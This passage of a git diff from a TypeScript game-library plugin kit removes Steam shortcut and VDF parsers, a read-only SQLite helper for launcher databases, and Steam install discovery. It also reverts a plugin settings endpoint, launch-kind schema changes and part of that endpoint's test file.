out.push({ name: m[1], type: m[2], data: m[3] });
}
return out;
};
-160
View File
@@ -1,160 +0,0 @@
// Steam's BINARY `shortcuts.vdf` — the user's "Add a Non-Steam Game to My Library" entries.
//
// Ported from the host's in-tree scanner (crates/punktfunk-host/src/library/steam.rs), together
// with its unit tests, which are the real specification here: the format is undocumented, and the
// two id derivations below (`shortcutAppId`, `shortcutGameId`) are the difference between a
// shortcut that launches and one that silently does nothing.
//
// Format: a 1-byte type tag (`0x00` nested map, `0x01` string, `0x02` int32, `0x07` uint64), a
// NUL-terminated key, then a type-specific payload; `0x08` closes the current map. The whole file is
// one `shortcuts` map whose children (keyed "0", "1", …) are the individual shortcuts.
//
// Lenient and total by design: a truncated file or an unrecognized tag stops the walk and returns
// whatever parsed so far. A user's shortcuts file is not something to be strict about.
export interface Shortcut {
/** The 32-bit shortcut appid — always high-bit set. Keys the entry id and its `grid/` art. */
readonly appid: number;
readonly name: string;
/** The shortcut's target, as Steam stores it (quoted, possibly with trailing arguments). */
readonly exe: string;
readonly hidden: boolean;
}
/** A cursor over the buffer — the ported code's `pos` threaded explicitly. */
interface Cursor {
pos: number;
}
/** Read a NUL-terminated UTF-8 string, advancing past the terminator. `undefined` if unterminated. */
const readCStr = (buf: Uint8Array, c: Cursor): string | undefined => {
const start = c.pos;
let end = start;
while (end < buf.length && buf[end] !== 0) end++;
if (end >= buf.length) return undefined;
const s = new TextDecoder("utf-8").decode(buf.subarray(start, end));
c.pos = end + 1;
return s;
};
/** Read a little-endian int32, advancing 4 bytes. `undefined` if fewer than 4 remain. */
const readI32 = (buf: Uint8Array, c: Cursor): number | undefined => {
if (c.pos + 4 > buf.length) return undefined;
const v = new DataView(buf.buffer, buf.byteOffset + c.pos, 4).getInt32(0, true);
c.pos += 4;
return v;
};
/** Skip a nested map's contents (positioned just after its key) up to and including its `0x08`. */
const skipMap = (buf: Uint8Array, c: Cursor): boolean => {
for (;;) {
if (c.pos >= buf.length) return false;
const tag = buf[c.pos];
c.pos += 1;
if (tag === 0x08) return true;
if (readCStr(buf, c) === undefined) return false;
if (tag === 0x00) {
if (!skipMap(buf, c)) return false;
} else if (tag === 0x01) {
if (readCStr(buf, c) === undefined) return false;
} else if (tag === 0x02) {
c.pos += 4;
} else if (tag === 0x07) {
c.pos += 8;
} else {
return false;
}
}
};
/** Parse one shortcut's fields (positioned just after its index key) up to the map-closing `0x08`. */
const parseOne = (buf: Uint8Array, c: Cursor): Shortcut | undefined => {
let appid: number | undefined;
let name = "";
let exe = "";
let hidden = false;
for (;;) {
if (c.pos >= buf.length) return undefined;
const tag = buf[c.pos];
c.pos += 1;
if (tag === 0x08) break;
const key = readCStr(buf, c)?.toLowerCase();
if (key === undefined) return undefined;
if (tag === 0x00) {
if (!skipMap(buf, c)) return undefined; // nested map (e.g. `tags`) — not needed
} else if (tag === 0x01) {
const val = readCStr(buf, c);
if (val === undefined) return undefined;
if (key === "appname") name = val;
else if (key === "exe") exe = val;
} else if (tag === 0x02) {
const val = readI32(buf, c);
if (val === undefined) return undefined;
if (key === "appid") appid = val >>> 0;
else if (key === "ishidden") hidden = val !== 0;
} else if (tag === 0x07) {
c.pos += 8; // uint64 — skip
} else {
return undefined; // unknown tag: payload size unknown, can't continue safely
}
}
if (name.trim() === "") return undefined; // nothing worth showing
// Prefer the stored appid; fall back to Steam's derivation when it's absent (0 / missing).
const id = appid && appid !== 0 ? appid : shortcutAppId(exe, name);
return { appid: id, name, exe, hidden };
};
/** Parse a binary `shortcuts.vdf` into its shortcuts. Never throws. */
export const parseShortcuts = (buf: Uint8Array): Shortcut[] => {
const out: Shortcut[] = [];
const c: Cursor = { pos: 0 };
// Enter the top-level map (`<0x00> "shortcuts" <NUL>`); tolerate any key name.
if (buf[0] !== 0x00) return out;
c.pos = 1;
if (readCStr(buf, c) === undefined) return out;
while (c.pos < buf.length) {
const tag = buf[c.pos];
c.pos += 1;
if (tag !== 0x00) break; // `0x08` (end of shortcuts) or anything unexpected
if (readCStr(buf, c) === undefined) break; // the index key ("0", "1", …)
const sc = parseOne(buf, c);
if (!sc) break;
out.push(sc);
}
return out;
};
/** Standard reflected (IEEE) CRC-32 — what Steam hashes a shortcut's `exe + name` with. */
export const crc32 = (data: Uint8Array): number => {
let crc = 0xffff_ffff;
for (const byte of data) {
crc ^= byte;
for (let i = 0; i < 8; i++) {
const mask = -(crc & 1);
crc = (crc >>> 1) ^ (0xedb8_8320 & mask);
}
}
return (~crc) >>> 0;
};
/**
* The 32-bit appid Steam derives for a shortcut from its target+name `crc32(exe + name)` with the
* high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
* Steam writes it and the stored value is preferred.
*
* The high bit is load-bearing downstream: it is how a shortcut is told apart from a real store
* appid, which is what makes the CDN art fetch skippable for shortcuts (they only ever have `grid/`
* overrides).
*/
export const shortcutAppId = (exe: string, name: string): number =>
(crc32(new TextEncoder().encode(exe + name)) | 0x8000_0000) >>> 0;
/**
* The 64-bit game id `steam://rungameid/` needs in order to launch a non-Steam shortcut: high dword
* = the 32-bit shortcut appid, low dword = the shortcut marker `0x02000000`.
*
* Handing `rungameid` the bare 32-bit appid does NOT launch a shortcut it must be this composed
* id. Returned as a decimal string because it exceeds 2^53 and would lose precision as a `number`.
*/
export const shortcutGameId = (appid: number): string =>
((BigInt(appid >>> 0) << 32n) | 0x0200_0000n).toString();
-68
View File
@@ -1,68 +0,0 @@
// Read-only SQLite over `bun:sqlite` — for launcher databases a plugin must never disturb.
//
// Lutris' `pga.db` is the motivating case: it belongs to a running application, and a scanner that
// opened it read-write could take a write lock, create `-wal`/`-shm` sidecars next to it, or (worst
// case) be blamed for a corrupted library. `immutable=1` promises the file will not change while
// open, which makes Bun skip locking entirely — the strictest possible "look, don't touch".
import { Database } from "bun:sqlite";
import { isFile } from "./fs.js";
export interface ReadOnlyDb {
/** Run a query and return its rows. Returns `[]` rather than throwing on a bad query. */
readonly query: <T = Record<string, unknown>>(
sql: string,
...params: unknown[]
) => T[];
readonly close: () => void;
}
/**
* Open a launcher database read-only and immutably. `undefined` if the file is absent or not a
* database the normal "this launcher isn't installed" case, not an error.
*
* Always `close()` when done (or use {@link withReadOnlyDb}, which does it for you).
*/
export const openReadOnly = (file: string): ReadOnlyDb | undefined => {
if (!isFile(file)) return undefined;
let db: Database;
try {
// `readonly` alone still takes locks and can spawn WAL sidecars; `immutable=1` is what makes
// this a pure read. It is safe here precisely because a scan is a point-in-time snapshot —
// if the launcher writes mid-scan we simply pick it up on the next sync.
db = new Database(`file:${encodeURI(file)}?immutable=1`, { readonly: true });
} catch {
return undefined;
}
return {
query: <T = Record<string, unknown>>(sql: string, ...params: unknown[]) => {
try {
return db.query(sql).all(...(params as never[])) as T[];
} catch {
// A schema drift (a renamed column in a launcher upgrade) must degrade to "no
// titles from this source", never take the whole plugin down.
return [] as T[];
}
},
close: () => {
try {
db.close();
} catch {
/* already closed */
}
},
};
};
/** Open, use, and always close. Returns `undefined` when the database isn't there. */
export const withReadOnlyDb = <T>(
file: string,
use: (db: ReadOnlyDb) => T,
): T | undefined => {
const db = openReadOnly(file);
if (!db) return undefined;
try {
return use(db);
} finally {
db.close();
}
};
@@ -1,104 +0,0 @@
// Where Steam lives on this host, and which `steamapps` dirs hold installed titles.
//
// Ported from the host scanner (steam.rs `steam_roots` / `steam_library_dirs`) with one deliberate
// addition and one deliberate exclusion, both about the Windows runner's account:
//
// * ADDED: HKLM `WOW6432Node\Valve\Steam\InstallPath`, so a non-default Steam install dir is
// found. The host scanner never covered this (it relied on an explorer.exe protocol fallback at
// launch time), but a plugin that can't find the root finds no games at all.
// * EXCLUDED: HKCU `Software\Valve\Steam`. The runner is LocalService, whose HKCU is its own empty
// hive, not the operator's — reading it would look like "Steam isn't installed".
import * as os from "node:os";
import * as path from "node:path";
import { isDir, listDir, readTextCapped } from "./fs.js";
import { regQueryValue } from "./registry.js";
import { vdfPaths } from "./vdf.js";
/** Canonicalize-ish: resolve and drop a trailing separator so dedup is reliable. */
const norm = (p: string): string => path.resolve(p);
/**
* Candidate Steam roots that actually exist (have a `steamapps` dir), deduped.
*
* A "root" is the Steam install itself `userdata/`, `appcache/` and the first `steamapps/` live
* under it. Extra library folders on other drives are NOT roots; see {@link steamLibraryDirs}.
*/
export const steamRoots = (): string[] => {
const candidates: string[] = [];
if (process.platform === "win32") {
for (const v of ["ProgramFiles(x86)", "ProgramFiles", "ProgramW6432"]) {
const pf = process.env[v];
if (pf) candidates.push(path.join(pf, "Steam"));
}
// The registry install path — covers a Steam installed somewhere other than Program Files.
for (const key of [
"HKLM\\SOFTWARE\\WOW6432Node\\Valve\\Steam",
"HKLM\\SOFTWARE\\Valve\\Steam",
]) {
const p = regQueryValue(key, "InstallPath");
if (p) candidates.push(p);
}
} else {
const home = os.homedir();
if (home) {
candidates.push(
path.join(home, ".local/share/Steam"),
path.join(home, ".steam/steam"),
path.join(home, ".steam/root"),
// Flatpak Steam
path.join(home, ".var/app/com.valvesoftware.Steam/.local/share/Steam"),
);
}
}
const seen = new Set<string>();
const roots: string[] = [];
for (const c of candidates) {
const n = norm(c);
if (!seen.has(n) && isDir(path.join(n, "steamapps"))) {
seen.add(n);
roots.push(n);
}
}
return roots;
};
/**
* Every `steamapps` dir holding installed titles: each root's own, plus the extra library folders
* listed in its `libraryfolders.vdf` (Steam installs to other drives).
*/
export const steamLibraryDirs = (roots = steamRoots()): string[] => {
const seen = new Set<string>();
const dirs: string[] = [];
const push = (p: string) => {
const n = norm(p);
if (!seen.has(n) && isDir(n)) {
seen.add(n);
dirs.push(n);
}
};
for (const root of roots) {
const steamapps = path.join(root, "steamapps");
const text = readTextCapped(path.join(steamapps, "libraryfolders.vdf"));
if (text !== undefined) {
for (const p of vdfPaths(text)) push(path.join(p, "steamapps"));
}
push(steamapps);
}
return dirs;
};
/**
* Every `userdata/<accountId>/config` dir across all roots one per Steam account that has signed
* in on this host. `shortcuts.vdf` and the `grid/` art overrides live here.
*/
export const steamUserConfigDirs = (roots = steamRoots()): string[] => {
const out: string[] = [];
for (const root of roots) {
const userdata = path.join(root, "userdata");
for (const acct of listDir(userdata)) {
const cfg = path.join(userdata, acct, "config");
if (isDir(cfg)) out.push(cfg);
}
}
return out;
};
-80
View File
@@ -1,80 +0,0 @@
// Valve Data Format (text) — the flat-field reader Steam's `libraryfolders.vdf` and
// `appmanifest_<appid>.acf` need, ported from the host's in-tree scanner
// (crates/punktfunk-host/src/library/steam.rs `vdf_value` / `vdf_paths` / `scan_manifests`).
//
// Deliberately NOT a full VDF parser. Every field these files expose that a library plugin cares
// about sits on one line as `"key" "value"`, and a real parser would be a much larger surface to
// keep correct against a format Valve changes without notice. If you need nested values, read the
// file yourself — this is the 90% case, kept small enough to be obviously right.
/** `"<key>" "<value>"` on a single line → `<value>`. Whitespace between the two is arbitrary. */
export const vdfValue = (line: string, key: string): string | undefined => {
const rest = line.trimStart();
const prefix = `"${key}"`;
if (!rest.startsWith(prefix)) return undefined;
const after = rest.slice(prefix.length);
const open = after.indexOf('"');
if (open === -1) return undefined;
const value = after.slice(open + 1);
const close = value.indexOf('"');
if (close === -1) return undefined;
return value.slice(0, close);
};
/** The first `"<key>" "<value>"` anywhere in a multi-line document. */
export const vdfField = (text: string, key: string): string | undefined => {
for (const line of text.split("\n")) {
const v = vdfValue(line, key);
if (v !== undefined) return v;
}
return undefined;
};
/**
* Every `"path" "<dir>"` value in a `libraryfolders.vdf` the extra drives Steam installs to.
*
* On Windows the values are backslash-escaped (`D:\\SteamLibrary`), so `\\` collapses to `\`. POSIX
* paths need no unescaping, and the collapse is harmless there (a literal `\\` in a Linux path is
* vanishingly rare and was already ambiguous).
*/
export const vdfPaths = (text: string): string[] =>
text
.split("\n")
.map((l) => vdfValue(l, "path"))
.filter((p): p is string => p !== undefined)
.map((p) => p.replaceAll("\\\\", "\\"));
/** One installed title as described by its `appmanifest_<appid>.acf`. */
export interface AppManifest {
readonly appid: number;
readonly name: string;
/** The bare folder name under this library's `common/` — resolve it yourself. */
readonly installdir?: string;
}
/** Parse an `.acf` manifest's flat fields. `undefined` when it carries no usable appid+name. */
export const parseAppManifest = (text: string): AppManifest | undefined => {
const appid = Number(vdfField(text, "appid"));
const name = vdfField(text, "name");
if (!Number.isInteger(appid) || appid <= 0 || !name) return undefined;
const installdir = vdfField(text, "installdir");
return installdir ? { appid, name, installdir } : { appid, name };
};
/**
* Steam installs runtimes and redistributables as "apps" too. A *game* library must not list them.
* Ported verbatim from the host scanner so an extracted steam plugin filters identically the
* parity harness compares entry sets, and a stray Proton row would fail it.
*/
export const isSteamTool = (appid: number, name: string): boolean => {
// Steamworks Common Redistributables; Steam Linux Runtime 1.0/2.0/3.0 (Sniper/Soldier).
const TOOL_IDS = [228980, 1070560, 1391110, 1628350, 1493710];
if (TOOL_IDS.includes(appid)) return true;
const n = name.toLowerCase();
return (
n.includes("proton") ||
n.startsWith("steam linux runtime") ||
n.includes("steamworks common") ||
n.includes("steamvr")
);
};
+13 -2
View File
@@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => {
export const useIsEmbedded = (): boolean =>
typeof window !== "undefined" && window.parent !== window;
/** Mirror a route into the console's address bar (best-effort, embedded only). */
/**
* Mirror a route into the console's address bar (best-effort, embedded only).
*
* The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a
* DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in
* operator security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would
* target the PLUGIN's origin, not the console's, and every message would be silently dropped.
*
* `"*"` is safe here because the payload is a route path the plugin itself just navigated to
* nothing secret and the console verifies `event.origin` against the plugin origin before acting
* on it, so the trust decision is made on the receiving side where it belongs.
*/
export const postNavigate = (path: string): void => {
try {
if (window.parent !== window) {
window.parent.postMessage({ type: "pf-ui:navigate", path }, "*");
}
} catch {
// cross-origin parent or detached — deep-link sync is best-effort
// detached parent — deep-link sync is best-effort
}
};
+6 -44
View File
@@ -9,36 +9,13 @@ import type { ProviderEntry } from "./wire.js";
export * from "./wire.js";
/** What the host echoed back for one reconciled entry — enough to tell whether a claim took. */
export interface ReconciledEntry {
readonly id: string;
readonly external_id?: string;
/** The store badge the host assigned: the claim when it honoured one, else `"custom"`. */
readonly store?: string;
}
export interface ProviderClientService {
/**
* Full-replace reconcile: PUT the desired set; the host diffs by `external_id`.
*
* `store` claims that store for this provider (design D2), which is what makes the entries carry
* the store's own identity deterministic `<store>:<external_id>` ids instead of opaque
* `custom:<id>` ones, the store's badge, and suppression of the host's matching built-in scanner
* so the two never double-list. One provider per store: a second claimant gets a 409.
*
* Returns the host's echoed entries so a caller can verify the claim actually took a host
* predating claims ignores the query parameter silently, and the only way to notice is that the
* entries come back as `custom`.
*/
/** Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. */
readonly reconcile: (
providerId: string,
entries: ReadonlyArray<ProviderEntry>,
store?: string,
) => Effect.Effect<ReadonlyArray<ReconciledEntry>, HostRequestError>;
/**
* Remove every entry this provider owns **and release its store claim** (the explicit-uninstall
* path). Releasing is what brings the host's built-in scanner back.
*/
) => Effect.Effect<void, HostRequestError>;
/** Remove every entry this provider owns (the explicit-uninstall path). */
readonly remove: (providerId: string) => Effect.Effect<void, HostRequestError>;
}
@@ -51,25 +28,10 @@ export class ProviderClient extends Context.Service<
Effect.gen(function* () {
const host = yield* HostClient;
return {
reconcile: (providerId, entries, store) =>
reconcile: (providerId, entries) =>
host
.request(
"PUT",
`/library/provider/${providerId}${
store ? `?store=${encodeURIComponent(store)}` : ""
}`,
entries,
)
.pipe(
// The host answers with its resulting entries. An older host may answer
// with something else, so treat a non-array as "no echo" rather than
// failing the sync.
Effect.map((body) =>
Array.isArray(body)
? (body as ReadonlyArray<ReconciledEntry>)
: [],
),
),
.request("PUT", `/library/provider/${providerId}`, entries)
.pipe(Effect.asVoid),
remove: (providerId) =>
host
.request("DELETE", `/library/provider/${providerId}`)
+3 -130
View File
@@ -3,9 +3,8 @@
// register/renew/deregister through Scope. Validated end-to-end by the phase-0 spike:
// core-only env layers, no platform package, SPA fallthrough preserved.
import { type PluginUiHandle, servePluginUi } from "@punktfunk/host";
import { Effect, FileSystem, Layer, Path, Schema, Scope } from "effect";
import { Effect, FileSystem, Layer, Path, Scope } from "effect";
import { Etag, HttpPlatform, HttpRouter } from "effect/unstable/http";
import type { ConfigService } from "./config.js";
import { UiServeError } from "./errors.js";
import { HostClient, PluginInfo } from "./host-client.js";
@@ -18,100 +17,6 @@ export const httpApiEnv = Layer.provideMerge(
FileSystem.layerNoop({}),
);
/**
* Derive a JSON Schema for a config schema, for the console's generic settings form.
*
* Returns `null` when derivation isn't possible, which the console reads as "render the raw JSON
* editor instead" the fallback that bounds this whole feature's risk.
*
* Authoring rules, verified against effect 4.0.0-beta.99 and pinned by
* `test/library-config.test.ts` if an effect upgrade changes any of them, that test fails:
*
* * Use `Schema.Finite` / `Schema.Int`, **never `Schema.Number`** Number's *encoded* form admits
* the strings `"NaN"`/`"Infinity"`/`"-Infinity"`, so it derives a four-way `anyOf` that no sane
* form can render as a number input.
* * A decoding default is an **Effect**: `withDecodingDefaultKey(Effect.succeed(true), …)`. Passing
* a bare thunk (`() => true`) still derives a schema and still type-checks, then dies at DECODE
* time with "Not a valid effect" deriving is not evidence that the schema works.
* * Annotate every field: `.annotate({ title, description, default })`. The derivation does NOT
* infer `default` from `withDecodingDefaultKey`, so an un-annotated field shows no placeholder.
* * A *checked* schema (`Schema.Int`, or anything with `.check(...)`) nests its annotations and
* constraints under `allOf`, so a form must merge those branches, not read only the top level.
* * `Schema.Literals([...])` derives a clean `enum` prefer it over a union of strings. A union of
* non-literals derives an `anyOf`, which is the JSON-editor fallback case.
* * Fields carrying `withDecodingDefaultKey(..., { encodingStrategy: "omit" })` correctly drop out
* of `required`, which is what keeps the raw file free of baked-in defaults.
*/
export const deriveConfigJsonSchema = (
schema: Schema.Top,
): Record<string, unknown> | null => {
try {
const doc = Schema.toJsonSchemaDocument(schema as never);
return doc as unknown as Record<string, unknown>;
} catch {
// A schema shape the derivation can't express (a transform, a recursive ref). The console
// falls back to the JSON editor; the PUT still validates by decode, so nothing is lost but
// the pretty form.
return null;
}
};
/** The plugin config surface the console's settings drawer drives. */
export interface ServeUiConfig<S extends Schema.Top> {
/** The schema the raw file is validated against, and the form is derived from. */
readonly schema: S;
/** The config service (from `makeConfigService`) holding the raw round-trip semantics. */
readonly service: ConfigService<S>;
}
/**
* The `/__config` request handler, split out so it can be driven directly in tests (the wire shape
* is the contract the console's settings drawer codes against it deserves a real round-trip test,
* not a mock).
*
* `ConfigService`'s effects are context-free by construction (the `PluginInfo` was resolved when the
* service was built), so this runs them straight from a plain async handler.
*/
export const makeConfigHandler = <S extends Schema.Top>(
cfg: ServeUiConfig<S>,
): ((req: Request) => Promise<Response>) => {
// The derivation is stable for the life of the process — do it once, not per request.
const schema = deriveConfigJsonSchema(cfg.schema);
return async (req: Request): Promise<Response> => {
if (req.method === "GET") {
// A config file that fails to decode must not blank the whole drawer — answer with a
// null value so the operator can still see (and replace) what is on disk.
const value = await Effect.runPromise(cfg.service.loadRaw).catch(
() => null,
);
return Response.json({ schema, value });
}
if (req.method === "PUT") {
let body: unknown;
try {
body = await req.json();
} catch (cause) {
return Response.json(
{ error: "body must be JSON", issue: String(cause) },
{ status: 400 },
);
}
try {
// Validate-by-decode, persist RAW: `saveRaw` refuses a body the schema rejects and
// never writes decoded defaults back into the operator's file.
await Effect.runPromise(cfg.service.saveRaw(body));
return Response.json({ ok: true });
} catch (cause) {
return Response.json(
{ error: "config rejected", issue: String(cause) },
{ status: 400 },
);
}
}
return new Response("method not allowed", { status: 405 });
};
};
export interface ServeUiOptions {
/** Console nav title. */
readonly title: string;
@@ -121,33 +26,12 @@ export interface ServeUiOptions {
readonly version?: string;
/** Built SPA directory (served with SPA fallback by the SDK). */
readonly staticDir?: string | URL;
/**
* What kind of plugin this is (`[a-z][a-z0-9-]{0,31}`). `"library"` keeps the plugin out of the
* console nav its entry point is the Library section's Game sources surface instead.
*/
readonly category?: string;
/**
* Serve `GET`/`PUT /__config` for the console's **generic settings form**, so a plugin with
* settings does not need to ship an SPA at all.
*
* `GET` answers `{schema, value}` the derived JSON Schema (or `null`) and the raw,
* operator-authored config. `PUT` validates by decoding the body against the schema and, only
* then, persists it **raw**; defaults are never baked into the file. A rejected body comes back
* 400 with the decode issue.
*
* Auth is the existing per-boot UI secret the console reaches this through its session-gated
* `/plugin-ui/<id>/…` proxy, so there is no new host surface and nothing new exposed to the LAN.
*/
readonly config?: ServeUiConfig<Schema.Top>;
/**
* The plugin API: `HttpApiBuilder.layer(api)` + group handler layers + raw routes
* (e.g. `sseRoute`), with plugin services already provided. `httpApiEnv` is provided
* here only `HttpRouter` may remain open.
*
* Optional: a plugin whose only surface is `__config` (every library scanner) serves no API of
* its own, and omitting this leaves an empty router that 404s under `apiPrefix`.
*/
readonly api?: Layer.Layer<never, never, HttpRouter.HttpRouter>;
readonly api: Layer.Layer<never, never, HttpRouter.HttpRouter>;
/** Path prefix owned by the API handler (default "/api/"). */
readonly apiPrefix?: string;
}
@@ -170,22 +54,14 @@ export const serveUi = (
const prefix = opts.apiPrefix ?? "/api/";
const { handler, dispose } = HttpRouter.toWebHandler(
Layer.provide(opts.api ?? Layer.empty, httpApiEnv),
Layer.provide(opts.api, httpApiEnv),
);
yield* Effect.addFinalizer(() =>
Effect.promise(() => dispose()).pipe(Effect.ignore),
);
const serveConfig = opts.config ? makeConfigHandler(opts.config) : undefined;
const fetch = async (req: Request): Promise<Response | undefined> => {
const url = new URL(req.url);
// `__`-prefixed paths are the kit/SDK's own contract surface (`__health` lives in the
// SDK), deliberately checked BEFORE the API prefix and before any static asset so a
// plugin's own routes can never shadow them.
if (url.pathname === "/__config") {
return serveConfig?.(req) ?? new Response("not found", { status: 404 });
}
if (!url.pathname.startsWith(prefix)) return undefined; // → static SPA
return handler(req);
};
@@ -203,9 +79,6 @@ export const serveUi = (
...(opts.staticDir !== undefined
? { staticDir: opts.staticDir }
: {}),
...(opts.category !== undefined
? { category: opts.category }
: {}),
fetch,
}),
catch: (cause) => new UiServeError({ cause }),
+1 -57
View File
@@ -12,44 +12,12 @@ export const Artwork = Schema.Struct({
});
export type Artwork = typeof Artwork.Type;
/**
* How the host should launch a title. **The host owns this vocabulary** it validates the value
* per kind and builds the actual URI / command line itself, so a plugin only ever supplies a
* validated value, never a command. That is the security invariant behind the whole provider lane:
* a client sends an entry id, and the host resolves what to run.
*
* `kind` is a plain string rather than a union so the kit never has to ship a release to keep up
* with a host that grew a new kind. The kinds the host understands today:
*
* | kind | value | platforms |
* |---|---|---|
* | `command` | a shell command (operator-trust tier) | both |
* | `steam_appid` | digits an appid, or a 64-bit non-Steam-shortcut game id | both |
* | `steam_ui` | `bigpicture` \| `desktop` opens the Steam client itself | both |
* | `lutris_id` | digits a pga.db game id | linux |
* | `heroic` | `<runner>:<appName>`, runner legendary/gog/nile | linux |
* | `epic` | `<namespace>:<catalogItemId>:<appName>` or a bare appName | windows |
* | `gog` | `exe \t args \t workdir` | windows |
* | `aumid` | `<PFN>!<AppId>` | windows |
*
* An unknown kind is accepted on the wire and simply yields no launch recipe on that host, so a
* plugin targeting a newer host degrades to an unlaunchable tile rather than a failed reconcile.
*/
export const LaunchSpec = Schema.Struct({
kind: Schema.String,
kind: Schema.Literal("command"),
value: Schema.String,
});
export type LaunchSpec = typeof LaunchSpec.Type;
/**
* Whether an entry is an ordinary title or the launcher application itself (Steam Big Picture,
* Heroic, Playnite fullscreen). Launcher entries launch, lease and list exactly like games; a
* console or client that knows the field groups them into their own rail, and one that doesn't
* renders them as plain tiles.
*/
export const GameRole = Schema.Literals(["game", "launcher"]);
export type GameRole = typeof GameRole.Type;
export const PrepStep = Schema.Struct({
do: Schema.String,
undo: Schema.optionalKey(Schema.NullOr(Schema.String)),
@@ -75,28 +43,6 @@ export const DetectHint = Schema.Struct({
exe: Schema.optionalKey(Schema.NullOr(Schema.String)),
/** The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest signal. */
process_name: Schema.optionalKey(Schema.NullOr(Schema.String)),
/**
* The Steam appid, for a title Steam itself installed. On Linux this is the **sharpest** signal
* there is: Steam wraps every launch native or Proton in `reaper SteamLaunch AppId=<appid>`,
* whose lifetime is exactly the game's. Send it if you have it.
*/
steam_appid: Schema.optionalKey(Schema.NullOr(Schema.Number)),
/**
* An environment variable the launcher stamps on the game's process. Load-bearing for launchers
* that run games under Proton/Wine, where the process tree tells you very little (Heroic's
* `HEROIC_APP_NAME` is the verified case). Omit `value` to match on the key's mere presence
* only safe for a launcher that runs one game at a time.
*/
env_marker: Schema.optionalKey(
Schema.NullOr(
Schema.Struct({
/** `[A-Za-z0-9_]{1,64}` — the host rejects anything else. */
key: Schema.String,
/** At most 256 chars. */
value: Schema.optionalKey(Schema.NullOr(Schema.String)),
}),
),
),
});
export type DetectHint = typeof DetectHint.Type;
@@ -130,8 +76,6 @@ export const ProviderEntry = Schema.Struct({
launch: Schema.optionalKey(Schema.NullOr(LaunchSpec)),
prep: Schema.optionalKey(Schema.Array(PrepStep)),
detect: Schema.optionalKey(DetectHint),
/** `"game"` (default) or `"launcher"` — see {@link GameRole}. */
role: Schema.optionalKey(GameRole),
...GameMeta.fields,
});
export type ProviderEntry = typeof ProviderEntry.Type;
-240
View File
@@ -1,240 +0,0 @@
// The `__config` contract — the wire shape the console's generic settings drawer codes against,
// plus the JSON-Schema derivation's committed fixture (design M0/S2).
//
// The derivation fixture is not decoration: it is the record of WHICH schema shapes the generic
// form can render. If an effect upgrade changes any of it, this test fails and the console's form
// needs re-checking before the change ships — far cheaper than discovering it on a user's box.
import { describe, expect, test } from "bun:test";
import * as fs from "node:fs";
import * as os from "node:os";
import * as path from "node:path";
import { Effect, Layer, Schema } from "effect";
import { makeConfigService } from "../src/config.js";
import { pluginInfoLayer } from "../src/host-client.js";
import { deriveConfigJsonSchema, makeConfigHandler } from "../src/ui-server.js";
/** A representative scanner config: booleans, a string, a string array, a nested object, an enum. */
const ScannerConfig = Schema.Struct({
enabled: Schema.Boolean.annotate({
title: "Enable scanning",
description: "Whether this source contributes titles.",
default: true,
}).pipe(
Schema.withDecodingDefaultKey(Effect.succeed(true), {
encodingStrategy: "omit",
}),
),
root: Schema.optionalKey(
Schema.String.annotate({ title: "Launcher root", description: "Absolute path." }),
),
extraRoots: Schema.Array(Schema.String)
.annotate({ title: "Extra roots" })
.pipe(
Schema.withDecodingDefaultKey(
Effect.succeed([] as ReadonlyArray<string>),
{ encodingStrategy: "omit" },
),
),
launchers: Schema.Struct({
bigpicture: Schema.Boolean.annotate({ title: "Big Picture", default: true }),
desktop: Schema.Boolean.annotate({ title: "Desktop", default: false }),
}).pipe(
Schema.withDecodingDefaultKey(
Effect.succeed({ bigpicture: true, desktop: false }),
{ encodingStrategy: "omit" },
),
),
pollMinutes: Schema.Int.annotate({
title: "Poll interval (minutes)",
default: 15,
}).pipe(
Schema.withDecodingDefaultKey(Effect.succeed(15), {
encodingStrategy: "omit",
}),
),
artSource: Schema.Literals(["local", "cdn", "both"])
.annotate({ title: "Art source", default: "both" })
.pipe(
Schema.withDecodingDefaultKey(Effect.succeed("both" as const), {
encodingStrategy: "omit",
}),
),
});
const props = (): Record<string, Record<string, unknown>> => {
const doc = deriveConfigJsonSchema(ScannerConfig) as {
schema: { properties: Record<string, Record<string, unknown>> };
};
return doc.schema.properties;
};
describe("S2 — JSON Schema derivation for __config", () => {
test("derives a renderable form for every shape a scanner config uses", () => {
const p = props();
expect(p.enabled).toMatchObject({ type: "boolean" });
expect(p.root).toMatchObject({ type: "string" });
expect(p.extraRoots).toMatchObject({
type: "array",
items: { type: "string" },
});
// A nested object stays nested — the form renders a fieldset, not a JSON blob.
expect(p.launchers).toMatchObject({
type: "object",
properties: { bigpicture: { type: "boolean" }, desktop: { type: "boolean" } },
});
// A literal union derives a clean enum — prefer it over a union of strings.
expect(p.artSource).toMatchObject({
type: "string",
enum: ["local", "cdn", "both"],
});
});
test("annotations pass through — they are the ONLY source of labels and defaults", () => {
const p = props();
expect(p.enabled.title).toBe("Enable scanning");
expect(p.enabled.description).toBe("Whether this source contributes titles.");
// The derivation does NOT infer `default` from withDecodingDefaultKey, so an un-annotated
// field shows the form no placeholder at all. Annotate every field.
expect(p.enabled.default).toBe(true);
expect(p.artSource.default).toBe("both");
// A CHECKED schema (Int is String-plus-a-check) nests its annotations under `allOf`, so a
// form reading `default` must merge allOf branches rather than only looking at the top level.
expect(p.pollMinutes.allOf).toEqual([
{ default: 15, title: "Poll interval (minutes)" },
]);
});
test("a decoding default is an Effect, not a thunk — and it actually applies", () => {
// The trap this pins: `withDecodingDefaultKey` takes an `Effect`, and passing a bare thunk
// (`() => true`) type-checks against the derivation path but blows up at DECODE time with
// "Not a valid effect". Deriving a schema is therefore NOT evidence that it works.
expect(Schema.decodeUnknownSync(ScannerConfig)({})).toMatchObject({
enabled: true,
pollMinutes: 15,
artSource: "both",
launchers: { bigpicture: true, desktop: false },
});
});
test("Schema.Int derives a plain integer — Schema.Number does NOT", () => {
expect(props().pollMinutes).toMatchObject({ type: "integer" });
// The trap, pinned: Schema.Number's ENCODED form admits "NaN"/"Infinity"/"-Infinity", so it
// derives a four-way anyOf that no number input can render. Use Finite or Int.
const bad = deriveConfigJsonSchema(
Schema.Struct({ n: Schema.Number }),
) as { schema: { properties: { n: { anyOf?: unknown[] } } } };
expect(Array.isArray(bad.schema.properties.n.anyOf)).toBe(true);
const ok = deriveConfigJsonSchema(
Schema.Struct({ n: Schema.Finite }),
